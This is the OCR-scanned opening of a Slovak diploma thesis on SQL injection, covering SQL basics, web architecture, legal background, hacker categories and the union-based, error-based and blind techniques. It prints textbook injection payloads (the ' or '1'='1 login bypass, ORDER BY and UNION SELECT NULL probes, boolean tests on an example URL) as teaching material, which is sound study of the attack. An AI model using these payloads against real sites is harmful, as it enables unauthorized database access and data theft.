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ABSTRAKT

SQL injection je technika namierend proti webovym aplikdciam vyuzivajucim SQL
databazu, ktora moze predstavovat’ obrovské bezpecnostné riziko. Ide v nej o vlozenie
kédu do SQL databaze, pricom tento Utok vyuziva zranitelnosti v databazovej alebo
aplikacnej vrstve. Hlavnym cielom mojej diplomove] prace je oboznamenie sa s
podstatou SQL injection, pochopenie jednotlivych metod tejto utoCnej techniky a
ukdézanie si spdsobov ako sa proti nej mozno branit. Pracu mozno rozdelit na tieto hlavné
Casti, ktoré rozoberiem nasledovne. V tUvodnej Casti prace zmiefiujem teoretické
vychodiska tykajuce sa SQL injection problematiky. Nasledujuca kapitola je zamerana
na jednotlivé metody tejto techniky. Analyticka Cast’ je venovana zmapovaniu sucasného
stavu testovacich subjektov, skenovacich nastrojov, ktoré tvoria zéklad pre optimalne
skiumanie atestovanie jednotlivych SQLi metod, ktoré su v tejto Casti rozobraté
z praktického hl'adiska spolu s analyzou prikazov. V poslednej casti budem
implementovat SQLi metody na vybrané subjekty ana zaklade vystupov vytvorim

univerzalne navrhové riesenie ako sa proti takymto utokom branit’.

KLUCOVE SLOVA
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ABSTRACT

SQL injection is a technique directed against web applications that use an SQL database
that can pose a huge security risk. It involves inserting code into a SQL database, and this
attack exploits vulnerabilities in the database or application layer. The main aim of my
diploma thesis is to get acquainted with the essence of SQL injection, to understand the
individual methods of this technique and to show ways how to defend against this
technique. The work can be divided into these main parts, which I will discuss as follows.
In the introductory part of the thesis I mention the theoretical basis of SQL injection. The
following chapter is focused on individual methods of this technique. The analysis of the
current state is analysed on the basis of outputs of various injection scanners, which will
be compared with each other through their efficiency. This section will also focus on how
to practically find a vulnerable site, how to attack. In the last part I will suggest solutions

how to defend.
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UvVOD

V sucasne] dobe informacnych technologii, kedy pouzivanie webovych aplikacii
(bankovnictvo), emailov, socialnych sieti ainych sluzieb sa stali novym beznym
sposobom komunikacie. Lenze tato doba prinaSajuca vymozenosti informacnych
technologii nam ruku v ruke s vyhodami, ktoré nam prinasa, nas suCasne aj s nasimi
osobnymi datami vystavuje nebezpeCenstvu. Je klItuCové v dnesnej dobe si nielen
zvySovat’ povedomie o bezpecnosti, ale sucasne, ¢i uz programujeme/spravujeme alebo
sprostredkovavame stranky pre druhych, tak mat na paméti, ze ak podcenime
bezpecnost’, tak hazardujeme s osobnymi udajmi/ datami inych l'udi a podl'a toho by sme
k tomu mali pristupovat’. VysSie spominané webové aplikacie a ich data, ku ktorym maju
pristup su vacsinou ciel'om roznych utokov. Jednym z naj¢astejSich atokov st prave SQL1
utoky, ktoré su realizovateI'né vd’aka bezpecnostnych nedostatkoch v aplikaciach. Pokial
ma stranka zaklad v SQL databéaze, tak moze byt napadnuta prostrednictvom SQL
injection utoku. Takyto typ utoku je schopny sposobit’ obrovské skody, ¢i uz z pohl'adu

kradeze osobnych dat alebo skod, ktoré mozu byt na databaze napachané.

V prvej Casti tejto prace sa venujem teoretickym poznatkom z oblasti SQLi a SQL v
spojitosti s bezpe¢nost'ou. Nasledujuca cast’ prace je venovana analyze jednotlivych
SQLi metod s praktickymi prikladmi, krokov pri hackingu webovej aplikacie,
bezpeCnosti dat, analyze rizik a zhrnutie najCastejSie sa vyskytovanych metod SQLi.
Navrhova Cast’ prace je venovana testovaniu vybranych SQLi metod na dvoch testovacich
webovych strankach advoch, ktoré patria organizaciam, navrhu bezpecnostnych
odporuceni na obranu proti SQLi metédam, ktoré obsahuju aj navrh opatreni mierenych
priamo na spravcu. Praca je zakonCena hodnotenim vystupov testovania, navrhu

bezpecnostnych opatreni a celkového prinosu prace.
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CIELE PRACE, METODY A POSTUPY SPRACOVANIA

Cielom prace su metody SQL injection z teoretického a praktického hl'adiska a sposoby

ochrany proti napadnutiu databazovej vrstvy programu.

Pri tvorbe tejto diplomovej prace bolo vyuzitych niekol'ko metod ziskavania informacii
potrebnych k implementacii SQLi metdéd. Pri ziskavani potrebnych informécii
o testovacom Subjekte A boli Cerpané z testovacich webovych stranok na kt. bola vacsina
potrebnych informécii rozpisana. PoCas ziskavania informéacii o Subjekte B som priamo
kladla otazky spravcovi webovej aplikacie, pri Subjekte C tieto informacie poskytla
detailnd dokumentacia, kt. je ulozena na strankach github. O Subjekte D boli vSetky

potrebné informacie v dokumentécii aplikéacie na strankach, kde bola stiahnuta.

DalSou z metod na ziskavanie informacii bolo priame pozorovanie jednotlivych aplikacii
a procesu prihlasovania sa do nich, areakcie serveru skrz jednotlivé spdsoby

prihlasovania sa.

Jednou z metodd na ziskavanie potrebnych informéacii bol Google Hacking, €o je technika
pouzivand na zbieranie informécii, ktoru pouziva uto¢nik priCom vyuziva pokrocilé
techniky vyhl'adavania Google. Vyhl'adavacie dotazy spolo¢nosti Google pri hackovani
sa daju pouzit’ na identifikaciu slabych miest v zabezpeceni webovych aplikaciach. Tato
metoda bola v praci konkrétne pouzivana na zhromazdovanie tychto typov udajov:
chybovych sprav odhal'ujucich citlivé informacie, informécie o individualnych ciel'och
a d’alsie citlivé udaje.

V neposlednom rade pri zbierani informacii zohrala obrovsku ulohu néstroj na

skenovanie webovej aplikacie.
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1 TEORETICKA VYCHODISKA PRACE

Prva Cast diplomovej prace je venovana teoretickej ¢asti zameranej] na oboznamenie sa
s SQL jazykom, architektirou webu a kybernetickou bezpecnostou. V tejto praci je
teoreticka Cast’ kI'i€ova pre pochopenie komplexnosti problematiky, ktora je spracovana

v praktickej Casti.

1.1 SQL a zakladné pojmy tykajuce sa tohoto jazyka

Relacné databazové systémy a jazyk SQL, na ktorého zaklade su postavené, predstavuju
jednu zo zakladnych technolégii pocitacového priemyslu. Jazyk SQL je nastroj
organizovania, spravy a ziskavania dat ulozenych v pocitaCovej databazy. Skratka SQL
v preklade znamena Strukturovany dotazovaci jazyk. SQL pracuje s jednym $pecifickym

typom databaze, ktory je nazyvany relacna databaza (8).

Poziadavka SQL

T

010011 |
[ 110101 |
101110 |

Data

Systém [——
Sprévy H Databaza
databazy

010011
| 110101 |
\ 101110 |

Pocitacovy systém

Obr. 1: Pouzitie jazyka SQL pre pristup k databaze (vlastné).

Popis obrazka: Na obrazku vidime sposob akym pracujeme s jazykom SQL. Pocitacovy
systém obsahuje databazu v kt. st ulozené ddlezité informacie. PocitaCovy program, kt.
riadi databazu sa nazyva databazovy riadiaci systém (DBRS). Ked potrebujeme

z databazy ziskat data, tak napiSeme poziadavku v jazyku SQL. Nasledne tuto
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poziadavku databazovy systém spracuje, nacita data a vrati odpovedajuci informéciu.
Cely tento proces, kedy pozadujeme data z databazy a systém nam vrati vysledok, sa

nazyva dotaz (query) (8).

Definicia dat — SQL dava moznost' uzivatelovi definovat’ Struktiru a organizaciu

ulozenych dat spolu s definiciou ich vzajomnych vztahov (8).

Ziskavanie dat - dalej SQL umoziuje uzivatel'ovi ¢i aplikaénému programu z databaze

ulozené data ziskavat' a pouzivat’ (8).

Riadenie pristupu — SQL je mozné pouzit' obmedzeniu schopnosti uzivatel'a data Citat,

pridavat’ a modifikovat’, ¢im ich je mozné chranit’ pred neautorizovanym pristupom (8).

Manipuldcia s ditami — SQL umoziuje uzivatelovi alebo aplikatnému programu
databazu aktualizovat pridavanim novych dat, odstraiiovanim starych alebo zmenou uz

predtym ulozenych dat(8).

Zdielanie dat — SQL sa pouziva k zladeni zdielania dat medzi viac uzivatelov

a k zaistenim toho, Ze sa uzivatelia medzi sebou navzajom nerusia(8).

Integrita dat — SQL definuje v databdzy obmedzenie integrity, ¢im ju chrani pred
poruSenim, kt. moze vzniknut vdaka neuplnym aktualizaciam alebo systémovému

zlyhaniu (8).

SQL je zvyssie zmienenych dovodov brany ako komplexny jazyk pre riadenie
a ovplyviiovanie databaze. Samostatny jazyk SQL nieje riadiaci systém databazy a ani sa
tu nejedna o samostatny produkt. SQL je skor integrovanou sucastou databazového

systému, ako jazyk a nastroj pre komunikéaciu s nim (8).

13



1.2 Architektira webovych aplikacii

Architektura webovych aplikacii je najviac podobna centralizovanému vypoctovému
modelu s velkym mnozstvom distribuovanych klientov. Spominani klienti maju za tlohu
vykonévat’ viac nez len prezentaciu dat a pripojuju sa k centralnemu serveru, na ktorom
dochadza k podstatnej Casti spracovania tychto dat. Hlavnym rozdielom medzi webovou
architektirou a centralizovanym vypoctovym modelom je to, ze webova architektura sa
moze skladat’ z niekol'kych serverov a niekolkych databaz, oproti centralizovanému

vypoctovému modelu, kde je len jeden master server (7).

= n vrstiev o
web.
apl. .
onektor
web. | databaza
WEDOW apl.
Klient gEs=n= —_

konektor\

databaza

web.
apl.

Obr. 2: Architektira webovych aplikdcii (vlastngé)

U typickych webovych aplikacii bezi Cast’ kodu na strane uzivatel'a vo webovom klientovi
(CSS, HTML,, ...), na strane servera bezi uzivatel'ovi nepristupny koéd reagujice na HTTP
poziadavky . Webovy server d’alej komunikuje s webovymi aplikaciami pomocou d’alSich
protokolov, nielen HTTP. Webové servery zobrazuju obsah stranok, oproti tomu webové
aplikacie maju na starosti logiku a interakciu medzi uzivatelom a strankami. Webové
aplikécie potom priamo komunikuju s ovladacmi databazy a vznasa poziadavky na data,
ktoré spatne spracuju a odosli webovému serveru, aby ukéazal koncovému uzivatel'ovi

(29, 30).
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1.3 Bezpecnost’ tykajiaca sa webovych stranok a aplikacii

V dnesnej dobe internetu st medzi sebou prakticky prepojené vSetky pocitace, ¢i uz su to
stolné pocitace, servery, mobilné telefony a rozne iné zariadenia rozmanitych prevedeni.
Pre spolocCnosti, podnikatelov a vyvojarov softwaru tym vznika obrovské spektrum

prilezitosti, ktoré vzh'adom na prepojenie systémov so sebou prinasa aj hrozbu utoku.

Hlavnym problémom je to, ze niekedy vyvojari aplikacie nepocitaju s tym, ze by ich
aplikacia mohla byt v prevadzke v silne prepojenom prostredi, kde by mohla byt
dostupna aj pre uto¢nikov. Ked’ze je internet znacne nepriatel'ské prostredie, tak by sme

mali akykol'vek kod navrhovat’ takym spdsobom, aby bol schopny odolat’ utokom.

Bezpecny produkt- , predstavuje produkt, ktory chrani dovernost, integritu a dostupnost
informdcii zdakaznika a sucasne dostupnost a integritu zdrojov pre spracovanie, ktoré su

pod kontrolou viastnika alebo administratora webu “ (4).

Zranitel’né miesto v bezpecnosti- je typ chyby v produkte, kvoli ktorej uzivatel' nevie
ani pri spravnom uzivani produktu zabranit’ uto¢nikovi v ziskavani vys§ich opravneniach

v systéme uzivatela, napadnutiu jeho dat, v zasahu do jeho ¢innosti (4).

V tejto tematike plati pravidlo : bezpecny systém = kvalitny systém. Plati, ze pokial kod
od samotného zdkladu navrhujeme a zostavujeme s ohl'adom na bezpecnost’, ktora je
sucastou jeho zakladnych vlastnosti, je mohutnejsi, nez kod do kt. implementujeme

bezpecnost’ az nakoniec vo forme doplnkovych funkcii (4).

Pri programovani aplikacie je dolezité nikdy nepocitat’ s tym, ze dana aplikacia bude
v prevadzke vzdy iba v jednom z niekol'kych predom znamych prostredi. Z tohto dovodu
je dolezité pri pisani kodu konat tak akoby aplikdcia mala bezat v maximalne
nepriatel'skom prostredi a na zaklade toho ju navrhnut, naprogramovat a adekvatne

otestovat’.

1.3.1 Zakon o kybernetickej bezpecnosti
V priebehu roku 2014 bol prijaty zakon o kybernetickej bezpecnosti ¢. 181/2014 Sb., kt.
nadobudol tuc¢innost 1.1.2015 akt. upravuje prava a povinnosti 0sdb, pOsobenie

a pravomoci organov verejnej moci v oblasti kybernetickej bezpecnosti. Cielom zakona
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je stanovit podmienky spoluprace medzi sukromim sektorom a verejnou spravou za

ucelom riesenia kybernetickych bezpe¢nostnych incidentov (5,6).

Zakon o kybernetickej bezpec¢nosti - je Specificky zamerany na ochranu funk¢nosti
sietového prostredia umoziujuceho vznik, spracovanie, uchovavanie a komunikaciu
informacii, kt. je tvorené informa¢nymi systémami, sluzbami a sietami elektronickych

komunikacii. (5,6).

Kyberneticky priestor- podla §2 pism. a)‘sa kybernetickym priestorom rozumie
digitdlne prostredie umoziiujuce vznik, spracovanie a vymenu informdcii, tvorené
informacnymi  systémami, a sluzbami a sietami elektronickych komunikacii.(5)“
Podl'a DZ bol kyberneticky priestor definovany ako informacné prostredie k realizacii
informacénych transakcii, kt. je vytvorené technologiami, ktorych definicie a podmienky
uzivania upravuju zvlastne zakony, patria sem: Informacné systémy, sluzbami a sietami

elektronickych informacii.

Kyberpriestor je chapany ako nehmotny svet informacii, ktory vznikd vzajomnym
prepojenim informacnych a komunikacnych systémov. Toto prostredie nam umoziiuje
vytvarat, uchovavat, vyuzivat avzajomne si vymienat informacie aje realizované
prostrednictvom pocitaov prepojenych komunikaénymi sietami v celosvetovom

meradle (5).

Poverenec pre ochranu osobnych udajov — (data protection officer) monitoruje sulad
spracovanie osobnych tidajov s povinnostami vyplyvajicimi z nariadenia, auditov,
Skolenia a celkové riadenie agendy internej ochrany dat.

Pseudonymizicia - proces skrytie identity. Ugelom je zbieranie d’al§ich udajov, ktoré
sa tykaju rovnakého jednotlivca, aby bolo nutné poznat’ jeho totoznost’ (napr.
Kodovanie pomocou klica).

Suhlas so spracovanim osobnych udajov - v pripade, Ze je spracovanie zaloZené na
suhlase, je potrebné, aby bol spravca schopny dolozit, ze fyzicka osoba udelila suhlas
so spracovanim udajov o svojej osobe slobodne a sthlas bol konkrétny, informovany,
jednoznaény a ni¢im nepodmienecny.

Spravca osobnych adajov - urcuje tcel a prostriedky pre spracovanie osobnych
tidajov. Primarne zodpoveda za spracovanie OU.

Subjekt udajov - fyzicka osoba, ku ktorej sa vzt'ahuju osobné tidaje. Nejedna sa o
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préavnicku osobu.
Spracovanie - 'ubovolny ukon, ktory spravca (alebo spracovatel’) systematicky

vykonéva s osobnymi udajmi.

1.3.2 Hacker

V dnesnej dobe su pojmy ,hacker ¢i ,hacking® alebo , hacker” brané ako negativne
vyrazy pod kt. si verejnost’ predstavuje nezakonnu Cinnost' pachanu v kyberpriestore.
Pojem hacker sa v jednotlivych oblastiach vysvetl'uje rozdielne avSak v ramci prace je
podstatny tento spdsob vysvetlenia. Hacker je vyraz pre pocitaového programatora

manipulujuceho s technoldgiami (24). Aktualne sa hackeri delia na tieto Styri skupiny:

e Black hat (Cierny klobuk) - sem patria vsSetci hackeri, kt. sa podielaju na
nezakonnych ¢innostiach s cielom obohatit sa, uskodit’.

e White hat (biely klobuk) - patria sem eticky hackeri, kt. vyuzivaju svoje
schopnosti tak aby neboli v rozpore s etickymi zdsadami. Vac§inou sa zabyvaju
testovanim bezpecnostnych systémov ( penetracné testovanie).

e Grey hat (sivy klobuk) - je to typ hackera, kt. je aj z etického hl'adiska niekde
medzi Ciernym a bielym hackerom. Patria sem napriklad l'udia, kt. naburaju
systém bez povolenia, ale data nijak nezneuziju, namiesto toho o tom informuju
administratora, aby vedel o bezpecnostnych nedostatkoch systému (24).

e Blue hat (modry klobuk) - je niekto mimo poradenskych firiem v oblasti
pocitaCove] bezpecnosti, ktory pred spustenim testuje systém a hl'ada zneuzitia,
aby ich bolo mozné uzavriet'. Blue hat hacker sa tiez odvolava na profesionalov v
oblasti bezpeCnosti pozvanych spolocnostou Microsoft, aby nasli zranitel'né
miesta v systéme Windows. Tento vyraz je tiez spajany s vyrocnou konferenciou
o bezpecnosti spolocnosti Microsoft, ktorej neoficialne meno pochadza z modre;j

farby spojenej s odznakmi zamestnancov spolo¢nosti Microsoft (23).
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1.3.3 ePrivacy

Ide o nariadenie o sukromi a elektronickych komunikaciach. Tento navrh suvisi s GDPR
a rozSiruje okruh subjektov a sluzieb, na ktoré sa vzt'ahuje ochrana osobnych tdajov. Pri
elektronickej komunikacii musi byt’ zabezpecené, ze ako obsah suikromnych sprav medzi
dvoma subjektmi, tak tidaje o mieste a Case odoslania a subjektoch nesmu zverejnit
nikomu, okrem zucastnenych stran. Dévodom podania navrhu je fakt, ze doteraz sluzby
ako VolIP, instant messaging a e-mailové sluzby nepodliehali Uniovému ramci pre
elektronické komunikacie. Po schvaleni tohto navrhu spadaju prevadzkovatelia OTT

(Over-the-Top) pod pravo na reSpektovanie sukromia a komunikacie (28).

Interpersonalne komunikaéné sluzba - ide o sluzbu, ktord "umoziuje priamu

interpersonalne a interaktivnu vymenu informacii medzi kone¢nym poctom oséb" (29).

"Klasické" interpersondlne komunikac¢né sluzby - ide hlavne o sluzby urené na

telekomunikaciu, ako Skype, WhatsApp, Messenger, ... (28).

"Nové" interpersonalne komunikacné sluzby - navrh rozsiruje pdsobnost ePrivacy na
d’alsie sluzby, ako napr .: socialne siete (obsahuju chat), online hry (obsahujuci chat),
aplikécie a programy umoziujuce komunikaciu (TeamViewer) a Casti loT umoziujici

komunikaciu s koncovym uzivatelom ( Google Glass, Siri, ...) (28).

Spracovanie dat - podl'a €l. 6 ePrivacy poskytovatelia sluzieb mozu "spracovavat’ data el.
Komunikécii v pripade, ze to je nevyhnutné pre prenos komunikécie po dobu nutnu na
tento ucel, alebo je to nevyhnutné na zachovanie a obnovu bezpec¢nostnych sluzieb a sieti

" (28).

Spracovanie metadat - poskytovatelia mozu spracovavat metadata, ak "je fo nevyhnuiné
pre splnenie povinnych poziadaviek na kvalitu sluzby |[... ], po dobu nutni na tento ucel,
alebo je to nevyhnutné na vyuctovanie, vypocet platieb za prepojenie, odhalenie
podvodného uzivania alebo zneuzivania sluzieb elektronickych komunikdcii, zamedzenie
takému podvodné uzivanie alebo zneuzivanie alebo prihldsit sa k uzivaniu tychto sluzieb,
alebo prislusny koncovy pouzivatel udelil svoj siuhlas so spracovanim metaddt svojich
komunikdcii pre jeden alebo viac konkrétnych iucelov, vrdtane poskytovania konkrétnych
sluzieb takymto koncovym uzivatelom, za predpokladu, Ze tento iicel alebo ucely nemozno

splnit’ spracovanim anonymizovanych informdcii "(28).
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Spracovanie obsahu - poskytovatel moze spracovavat’ obsah komunikacie "za iucelom
poskytovania konkrétnej sluzby koncovému uzivatelovi, ak prislusny koncovy pouzivatel
alebo koncovi uzivatelia udelili svoj suihlas so spracovanim svojho obsahu elektronickych
komunikdcii a danii sluzbu nemozno bez spracovanie tohto obsahu poskytmit, alebo ak
vietci dotknuti koncovi uzivatelia udelili svoj suhlas so spracovanim svojho obsahu
elektronickych komunikdcii pre jeden alebo viac konkrétnych ucelov, ktoré nemozno
splnit spracovanim anonymizovanych informdcii, a poskytovatel konzultoval dozorny
urad. Pre konzultdcii dozorného iiradu sa uplatinje clanok. 36 ods. 2 a 3 nariadenia (EU)

2016/679 "(28)

19



1.4 SQL Injection

Tento druh utoku je pokladany za jednu z najzniujucejSich slabin, ktord moze mat
obrovsky dopad na biznis, pretoze moze viest k odhaleniu vSetkych citlivych informéacii
ulozenych v databaze. Informacii ako su napriklad: prihlasovacie udaje, hesla, mena,

adresy, telefonne ¢isla, podrobné informacie o kreditnych kartach (1).

SQL Injection je chyba, ktora spdsobi to, ze ak uto¢nikovi poskytnete schopnost
ovplyviiovat' dotazy na jazyk SQL, tak aplikacia prejde do databazy typu back-end.
Ked'ze sa uto¢nikovi pontika moznost’ ovplyvnit to, ¢o sa odovzdava do databazy, tak vie
vyuzit syntax a schopnosti samotného SQL. Okrem toho moze vyuzit' funkcie OS, ktoré

ma databaza k dispozicii (1).

SQL Injection je utok, ktory sa pokusa ziskat’ neopravneny pristup k databaze vlozenim
kédu a vyuzitim dotazu SQL. Pre lepSie pochopenie pouzijeme nasledujuci priklad.
Povedzme, ze existuje webova stranka banky, ktora umoziuje pouzivatelom prihlasit’ sa
pomocou pouzivatel'ského mena a hesla. Ked pouzivatel’ zada platné pouzivatel'ské meno

a heslo, overenie prebehne a bude sa moct prihlasit(3).
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Hacker

Member Login

Username

Password

Citlive data

Obr. 3: Ukazka SQL injection (vlastné)

Nasledujuci dotaz je vytvoreny na ukazku neopravneného pokusu o prihlasenie za

pomoci klauzule where:
Username = bba
Password = bba987

SQL dotaz:

SELECT*FROM users WHERE name = ’phy' and password = ’bba987’

Obr. 4: SQL dotaz (vlastné)

Uzivatel’ so zlym umyslom by mohol zadat’ nasledujuci vstup do poli uzivatel'ského mena

a hesla na akomkol'vek webe.

Username = bba
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Password ="’or ‘1’ =“1¢

SQL dotaz by v tomto pripade vypadal nasledovne:

SELECT* FROM users WHERE name = ‘hba’ and password = “’or *1' =1’

Obr. 5: SQL dotaz where (vlastné)

Member Login

‘randomUserName” OR 1=1

Y

Uszername

Password m E ‘wrongPass” OR "="

Obr. 6: Prihlasovanie uzivatel’a (vlastné)

Kym 1=1 bude pravdivé, tak tomuto uzivatel'ovi bude vzdy umoznené prihlasit’ sa na
webovu stranku. Za predpokladu vy§Sie zmieneného ziska pouzivatel'(Gto¢nik)
neopravneny pristup k podrobnostiam uctu iného pouzivatel'a, ¢o by mohla smerovat
k vaznym nasledkom za kradez informéacii o ucte, ktora spada pod porusenie ochrany
osobnych udajov. Vyssie zmieneny SQL injection utok, sluzil len ako priklad na lepsie
pochopenie, via¢§ina webovych stranok by v dnesnej dobe by takémuto utoku 'ahko

zabranila.
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1.5 Metody SQL injection
SQLi je mozno realizovat vd’aka tomu, ze uzivatel'sky vstup je vlozeny do existujuceho

dotazu SQL bez spravnej validacie.
SQL Injection utoky je mozno rozdelit’ do tychto hlavnych troch kategorii:

1. Union Based SQL Injection
2. Error Based SQL Injection
3. Blind SQLi utok - SQLi zaloZena na boolean

- SQLi zalozena na Case

I SAL Injection

) b
r N . . .
Union Based Error Based . o
‘ sQL Injection ‘ SQL Injection Bind SQL Wjection
|
D
Boolean Based SQL Time Based SQL
Injection Injection

Obr. 7: Rozdelenie metod SQL injection ( vlastné)

1.5.1 Union SQLi

Utoky zalozené na UNION umoziiuju testerovi lahko extrahovat informacie z databazy.
Pretoze operator UNION je mozné pouzit’ iba v pripade, ze obidva dotazy maju presne
rovnaku Struktiru, musi uto¢nik vytvorit’ prikaz SELECT podobny pdvodnému dotazu.
Na tento ucel musi byt znamy platny nazov tabulky, ale je tiez potrebné urcit’ pocet

stipcov v prvom dotaze a ich typ tdajov (20).
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Kracové slovo UNION umoziiuje vykonat' jeden alebo viac d’al§ich SELECT dotazov a
pripojit vysledky k povodnému dotazu. Napriklad:

SELECT a, b FROM tablel UNION SELECT ¢, d FROM table2

Obr. 8: Ukiazka na Union SQLi (20).

Tento dotaz SQL vrati jediny stbor vysledkov s dvoma stipcami, ktory obsahuje hodnoty
ZO stipcov ,a“a b“in tablel a ,,stipec c“a,d, v table2. Aby dotaz UNION fungoval,

musia byt splnené dve kl'i¢ové poziadavky:

e Jednotlivé dotazy musia vratit' rovnaky pocet stipcov. Typy udajov v kazdom
stipci musia byt kompatibilné medzi jednotlivymi dotazmi.
e Ak chcete vykonat utok SQL UNION, musite sa uistit’, ze vas utok spiﬁa tieto dve
poziadavky. To zvyCajne zahria zistovanie:
o  Koflko stipcov sa vracia z pdvodného dotazu?
o  Ktoré stipce vratené z povodného dotazu su vhodnym typom tGdajov na

uchovavanie vysledkov z injektovaného dotazu?

Pri vykonavani utoku SQLi UNION existuju dve u¢inné metody na urcenie toho, kol'ko

stipcov sa vracia z pdvodného dotazu (20).

Prva metdda zahfmia vstrekovanie série klauzul ORDER BY a zvySenie indexu zadaného
stipca, kym neddjde k chybe. Napriklad za predpokladu, Ze bod vstrekovania je citovany

retazec v ramci klauzule WHERE pdvodného dotazu, odoslite: 'ORDERBY 1-
' ORDER BY 2-
' ORDER BY 3—-
Obr. 9: Order by (20).
Tato séria uzitoCnych dat modifikuje povodny dotaz tak, aby vysledky usporiadal do

roznych stipcov v sade vysledkov. Stipec v klauzule ORDER BY méze byt uréeny
indexom, takze nemusite poznat' nazvy ziadnych stipcov. Ked zadany index stipcov
prekrodi podet skuto&nych stipcov v mnozine vysledkov, databaza vrati chybu, napriklad:

ORDER BY pozicia ¢isla 3 je mimo rozsahu poctu poloziek vo vyberovom zozname (20).

Druhda metoda spociva v predlozeni série uzitocnych zatazeni UNION SELECT

Specifikujucich iny pocet nulovych hodnot.
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"UNION SELECT NULL-
"UNION SELECT NULL,NULL-
"UNION SELECT NULL,NULL,NULL--

Obr. 10: UNION SELECT (20).

Pokial’ poget null nezodpoveda poétu stipcov, databaza vrati chybu, kt. moze vypadat
nasledovne: ,,VSetky dotazy kombinované pomocou operdtora UNION, INTERSECT

alebo EXCEPT musia mat vo svojich cielovych zoznamoch rovnaky pocet vyrazov “(20).

Aplikacia moze opéat’ vratit’ tito chybovu spravu alebo iba vratit’ vSeobecnu chybu alebo
ziadne vysledky. Ked’ sa pocet nulovych hodnét zhoduje s po&tom stipcov, databaza vrati
v riadku vysledkov d’al§i riadok obsahujtici hodnoty null v kazdom stipci. Uginok na
vysledni odozvu HTTP zavisi od kédu aplikacie. Ak budete mat’ §t'astie, v odpovedi
uvidite nejaky d’alsi obsah, napriklad d’alsi riadok v tabul'ke HTML. V najhorSom pripade
by odpoved mohla byt nerozoznatelna od reakcie, ktora je spdsobena nespravnym

poctom null, &o spdsobi, Ze tato metoda urenia poétu stipcov bude neuinna (20).

1.5.2 SQLi zalozené na chybe

Technika zalozena na chybe (Error Based SQL1) je uzito¢na, ked tester nemdze zneuzit’
zranitel'nost SQL injekcie pomocou inej techniky, napriklad UNION. Technika zalozena
na chybe spociva v nuteni databazy vykonat nejaka operaciu, pri ktorej vysledkom bude
chyba. Potom sa pokuste extrahovat niektoré udaje z databazy a zobrazit’ ich v chybovom
hlaseni. Napriklad ak by bola moznost najst’ nazov tabul'ky a zaroven by to bolo sucastou
ciel'u utoku, tak najlepSim spdsobom ako najst’ tieto informécie by bolo prostrednictvom
systémovych tabuliek. Je pravdou, ze DBMS maju odlisnti formu pomenovavania, av§ak
tych popularnejsich je len par, vd'aka ¢omu by teoreticky nemalo byt tak zlozité najst
systémoveé tabulky. Je tu mozné pouzit’ minimalny prikaz prostrednictvom SELECT, skrz

&o nie je potrebné $pecifikovat’ nazvy stipcov (19).

Uzivatel'sky vstup (MySQL system table).
1 UNION SELECT 1 FROM information_schema.tables
Vygenerovany dotaz

SELECT name, description, price FROM products WHERE category=1 UNION
SELECT 1| FROM information_schema.tables

Vratena chyba

ORA-00942: tabulka alebo pohl'ad neexistuje.

Obr. 11: Ukazka Error Based SQLi (19).
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1.5.3 Slepa SQLi
Blind SQLi (SQLi na slepo) je typ utoku SQL Injection, ktory kladie otazky a urCuje

odpoved’ na zaklade odpovedi aplikacii (pravda/nepravda). Tento Utok sa Casto pouziva,

ked je webova aplikacia nakonfigurovana tak, aby zobrazovala vseobecné chybové

spravy, ale nezmiernila kod, ktory je nachylny na injekciu SQL. Blind SQL injection sa

rozdeluje na Boolean based SQLi (zalozent na boolean) a Time based SQLi (zalozena

na ¢asovej odozve) (19).

1. Boolean SQLi - Utoénik moze overit, & sa odoslana odpoved vratila pravdiva

alebo nepravdivad niekolkymi spdsobmi, ¢o bude ukdzané na nasledujucich

prikladoch. Pomocou jednoduchej stranky, ktora zobrazuje ako parameter ¢lanok

s danym ID, méze utoCnik vykonat niekol'ko jednoduchych testov, aby zistil, ¢i

je stranka zraniteI'na voci utokom SQL Injection.

Mame napriklad tato URL: http://bahurekova.com/items.php?id=2.

Databaze bude odoslany takyto dotaz :
SELECT title, description, body FROM items WHERE ID =2

Uto¢nik skasi vstreknat’ tento dotaz, o vrati odpoved ,,false®, bude to
vypadat takto : http://bahurekova.com/items.php?id=2 and 1=2

Vd'aka tomu by dotaz vypadal nasledovne

SELECT title, description, body FROM items WHERE ID = 2 and 1=2

Ak je webova aplikacia zranitel'na vo¢i SQL Injection, pravdepodobne uz
nié& nevrati. Utoénik vlozi dotaz, ktory vrati hodnotu ,,true®:
http://bahurekova.com/items.php?id=2 and 1=1

Po jeho overeni st jedinym obmedzenim opravnenia nastavené spravcom

databazy, ina syntax SQL a predstavivost' uto¢nika (18).

2. SQLi zaloZzena na cCasove] odozve- tento typ slepej SQLi sa spolieha na

pozastavenie databazy na zadanti dobu, potom vratenie vysledkov, o naznacuje

uspesné vykonanie dotazu SQL. Pomocou tejto metody utocnik vymenuje kazdé
p vy ) y vy ]

pismeno pozadovanej Casti idajov pomocou nasledujucej logiky, ¢o by mohlo

vypadat’ nasledovne:

Ak je prvé pismeno nazvu prvej databazy ,, A“, pockajte 10 sekund (18).
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1.6 SQL bezpecnostné rizika
Lahka dostupnost’ aplikacie pre uzivatela so sebou prinasa rozne bezpecnostné rizika.
SQL injection utoky, kt. vyuzivaju zranitel'nosti si sice komplikovanejsie, ale riziko

napadnutia je napriek tomu vysoké.
Medzi hlavné SQL injection rizika patria:

e Ziskanie pristupu k datam, ku ktorym nie sme autorizovany mat’ pristup,

e Zmena dat, ktord bola mienena len pre ucel Citania,

e Moznost vstapit do administraénych Casti internetovej aplikacie,

e Vyvolanie prikazov SQL serveru, ktoré nam umoznia ovladnut zariadenie, na
ktorom server bezi,

e Zmazanie tabuliek, pripadne celej databazy,

e Poskodit alebo znicit integritu/dovernost/dostupnost’.

(31,15)

Obr. 12: Tlustracia vyuzitia zranitel’nosti databazy a jej injektovanie (vlastné).
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1.7 Eticky hacking webovych aplikacii — postup pri priprave utoku
V tejto Casti strune rozpiSem navod akym budem neskor postupovat pri realizacii

etického hackingu, konkrétne SQL injection utoku.

Postup SQL injection utoku, kt. realizujem, sa da zhrnut’ v nasledujticich bodoch:

e Priprava utoku(testovania)

o (Vol'ba nastroja na skenovanie a testovanie webu)
e Nastavenie prostredia
e Skenovanie

e SQL injection utok

1.7.1 Priprava utoku

Nachadzame sa v pripravnej faze, kedy je nutné si ujasnit’ nasledovné:

e (o budeme testovat?
e Aké nastroje pouzijeme na skenovanie a testovanie webu ?

e Cas, kedy planujeme testovat’.

Nez si zvolime svoj nastroj na skenovanie, tak je potrebné sa zamysliet' a zodpovedat’ si

nasledujuce otazky:

e Co budeme testovat?

e Kolko sme ochotny do néstroja na skenovanie webovej aplikacie investovat’ ?

